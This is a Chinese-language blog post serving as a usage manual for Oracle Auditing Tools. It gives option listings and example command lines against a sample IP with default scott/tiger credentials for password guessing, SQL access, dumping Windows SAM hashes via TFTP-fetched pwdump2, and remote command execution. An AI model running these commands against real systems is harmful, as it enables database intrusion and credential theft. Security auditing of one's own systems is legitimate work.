OAT使用手册

OAT何方神圣？

全称Oracle Auditing Tools (OAT)，是列举Oracle默认用户口令的利器！废话不说了，如果还有不知道的请到Google直接搜索！

OAT的组成

 

1.Oracle Password Guesser (opwg)

得到数据库的SID。

2.OracleQuery (oquery)

使用该程序登录Oracle后可执行SQL语句。

3.OracleSamDump (osd)

获取Oracle数据库的计算机用户名和密码，并会存储到本地一个txt文件中。

4.OracleSysExec (ose)

这个就比较有意思了，还是大家亲自去试试比较好！

使用方法

1. OraclePasswordGuesser (opwg)

Oracle Account dictionary attack tool.

C:"Oracle"oat>opwg

        Oracle Password Guesser v1.3.1 by [email protected]

        ————————————————–

        OraclePwGuess [options]

                -s*     <servername>

                -u      <userfile>

                -p      <passfile>

                -d      <SID>

                -P      <portnr>

                -D      disables default pw checks

                -C      check for CREATE LIBRARY permissions

                -v      be verbose

[root@localhost oat]# sh opwg.sh -s 200.100.100.218 OR c:"opwg -s 200.100.100.218

Oracle Password Guesser v1.3.1 by [email protected]

————————————————–

2.OracleQuery (oquery)

Allows interactive SQL queries against the database

C:"Oracle"oat>oquery

        OracleQuery v1.3.1 by [email protected]

        —————————————-

        OracleQuery [options]

                -s*     <servername>

                -u*     <username>

                -p*     <password>

                -d*     <SID>

                -P      <portnr>

                -v      be verbose

                -q      <query>

                -o      <outfile>

                -m      <tabledelimiter>

[localhost oat]# sh oquery.sh -s 200.100.100.218 -u scott -p tiger -d test OR c:"oquery -s 200.100.100.218 -u scott -p tiger -d test

OracleQuery v1.3.1 by [email protected]

—————————————-

  

3.OracleSamDump (osd)

Connects to the Oracle server and executes TFTP get, to fetch the pwdump2 binary. The server is then pwdump2:ed and the result is returned to the SAM folder of the TFTP server.

C:"Oracle"oat>osd

        Oracle Sam Dump v1.3.1 by [email protected]

        ——————————————

        OracleSamDump [options]

                -s*     <servername>

                -u      <username>

                -p      <password>

                -d      <SID>

                -P      <portnr>

                -l      <localIP>

                -T      <temppath>

                -v      be verbose

[root@localhost oat]# sh osd.sh -s 200.100.100.218 -u scott -p tiger -d test OR c:" osd -s 200.100.100.218 -u scott -p tiger -d test

 Oracle Sam Dump v1.3.1 by [email protected]

——————————————

 

4.OracleSysExec (ose)

C:"Oracle"oat>ose

        OracleSysExec v1.3.1 by [email protected]

        —————————————-

        OracleSysExec [options]

                -s*     <servername>

                -u      <username>

                -p      <password>

                -d      <SID>

                -P      <portnr>

                -l      <localIP>

                -T      <temppath>

                -t      <platform>

                -I      interactive mode

                -v      be verbose

[root@localhost oat]# sh ose.sh -s 200.100.100.218 -u scott -p tiger -d test -t Windows OR c:" ose -s 200.100.100.218 -u scott -p tiger -d test -t Windows

-t = Windows or Solaris (Depending on target platform)

 

5.OracleTNSCtrl (otnsctl.sh)

Used to query the TNS listener for various information, like the Oracle lsnrctl utility. It is somewhat limited though. Use the help command to see commands currently implemented.

C:"Oracle"oat>otnsctl

Oracle TNS Control v1.3.1 by [email protected]

———————————————

OracleTNSCtrl [options]

          -s*     <servername>

          -P      <portnr>

          -c      command to execute (status/services/version/etc.)

          -I*     interactive mode

          -v      be verbose

[root@localhost oat]# sh otnsctl.sh -s 200.100.100.218 –I OR c:"otnsctl -s 200.100.100.218 –I

 Oracle TNS Control v1.3.1 by [email protected]

———————————————

tnscmd> help

help

set password - sets the password with which to connect to the listener

services - shows services version

status - shows status

version - returns version information

没有什么技术含量，语法部分已经改为绿色字体。

欢迎大家访问我的博客www.redsunny.com ，博客与slotbeta同步更新！